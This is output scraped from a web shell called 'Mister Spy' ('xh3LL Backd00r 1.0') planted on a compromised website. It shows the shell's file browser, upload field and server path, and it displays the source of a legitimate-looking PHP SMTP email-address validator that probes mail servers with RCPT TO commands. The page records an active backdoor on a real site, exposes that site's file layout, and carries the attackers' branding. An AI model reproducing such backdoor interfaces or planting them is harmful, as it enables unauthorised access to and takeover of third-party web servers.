Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.email.php

<?php

class SMTP_validateEmail
{
	var $sock;
	var $user;
	var $domain;
	var $domains;
	var $port = 25;
	var $max_conn_time = 5;
	var $max_read_time = 5;
	var $from_user = 'user';
	var $from_domain = 'localhost';
	var $nameservers = array('192.168.0.1');
	var $debug = false;

	
	function SMTP_validateEmail($emails = false, $sender = false)
	{
		if ($emails)
			$this->setEmails($emails);

		if ($sender)
			$this->setSenderEmail($sender);
	}
	

	function _parseEmail($email)
	{
		$parts 	= explode('@', $email);
		$domain = array_pop($parts);
		$user 	= implode('@', $parts);

		return array($user, $domain);
	}


	function setEmails($emails)
	{
		foreach($emails as $email)
		{
			list($user, $domain) = $this->_parseEmail($email);
		
			if (!isset($this->domains[$domain]))
				$this->domains[$domain] = array();
		
			$this->domains[$domain][] = $user;
		}
	}


	function setSenderEmail($email)
	{
		$parts = $this->_parseEmail($email);
		$this->from_user 	= $parts[0];
		$this->from_domain 	= $parts[1];
	}


	function validate($emails = false, $sender = false)
	{
		try
		{
			$results = array();
	
			if ($emails)
				$this->setEmails($emails);
	
			if ($sender)
				$this->setSenderEmail($sender);
			
			foreach($this->domains as $domain=>$users)
			{
				$mxs = array();
		
				list($hosts, $mxweights) = $this->queryMX($domain);
	
				for($n=0; $n < count($hosts); $n++)
				{
					$mxs[$hosts[$n]] = $mxweights[$n];
				}
	
				asort($mxs);
		
				array_push($mxs, $this->domain);
		
				$this->debug(print_r($mxs, 1));
	
				if (count($hosts) > 0)
					$timeout = $this->max_conn_time/count($hosts);
				else
					$timeout = $this->max_conn_time;
				
				while(list($host) = each($mxs))
				{
					$this->debug("try $host:$this->port\n");
					
					if ((trim($host) != "") && (trim($this->port) != ""))
					{
						if ($this->sock = @fsockopen($host, $this->port, $errno, $errstr, (float) $timeout))
						{
							stream_set_timeout($this->sock, $this->max_read_time);
							break;
						}
						else
						{
							$this->sock = false;
							return false;
							break;
						}
					}
					else
					{
						$this->sock = false;
						return false;
						break;
					}
				}						
	
				if ($this->sock)
				{
					$reply = fread($this->sock, 2082);
					$this->debug("<<<\n$reply");	
					preg_match('/^([0-9]{3}) /ims', $reply, $matches);
					$code = isset($matches[1]) ? $matches[1] : '';
	
					if($code != '220')
					{
						foreach($users as $user)
						{
							$results[$user.'@'.$domain] = false;
						}
	
						continue;
					}
	
	
					$this->send("HELO ".$this->from_domain);
					$this->send("MAIL FROM: <".$this->from_user.'@'.$this->from_domain.">");
	
					foreach($users as $user)
					{
						$reply = $this->send("RCPT TO: <".$user.'@'.$domain.">");
						preg_match('/^([0-9]{3}) /ims', $reply, $matches);
						$code = isset($matches[1]) ? $matches[1] : '';
	
						if ($code == '250')
						{
							$results[$user.'@'.$domain] = true;
						}
						elseif ($code == '451' || $code == '452')
						{
							$results[$user.'@'.$domain] = true;
						}
						else
						{
							$results[$user.'@'.$domain] = false;
						}
					}
	
					$this->send("quit");
					fclose($this->sock);
				}
				else
				{
					return $results;
				}
			}
		
			return $results;
		}
		catch (Exception $e)
		{
			return $results;
		}
		
		return $results;
	}
	

	function send($msg)
	{
		fwrite($this->sock, $msg."\r\n");
		$reply = fread($this->sock, 2082);
	
		$this->debug(">>>\n$msg\n");
		$this->debug("<<<\n$reply");
	
		return $reply;
	}


	function queryMX($domain)
	{
		$hosts = array();
		$mxweights = array();

		if (function_exists('getmxrr'))
		{
			getmxrr($domain, $hosts, $mxweights);
		}
		else
		{
			require_once 'dns/DNS.php';
	
			$resolver = new Net_DNS_Resolver();
			$resolver->debug = $this->debug;
			$resolver->nameservers = $this->nameservers;
			
			$resp = $resolver->query($domain, 'MX');
			
			if ($resp)
			{
				foreach($resp->answer as $answer)
				{
					$hosts[] = $answer->exchange;
					$mxweights[] = $answer->preference;
				}
			}
		}

		return array($hosts, $mxweights);
	}


	function microtime_float()
	{
		list($usec, $sec) = explode(" ", microtime());
	
		return ((float)$usec + (float)$sec);
	}

	function debug($str)
	{
		if ($this->debug)
			echo htmlentities($str);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat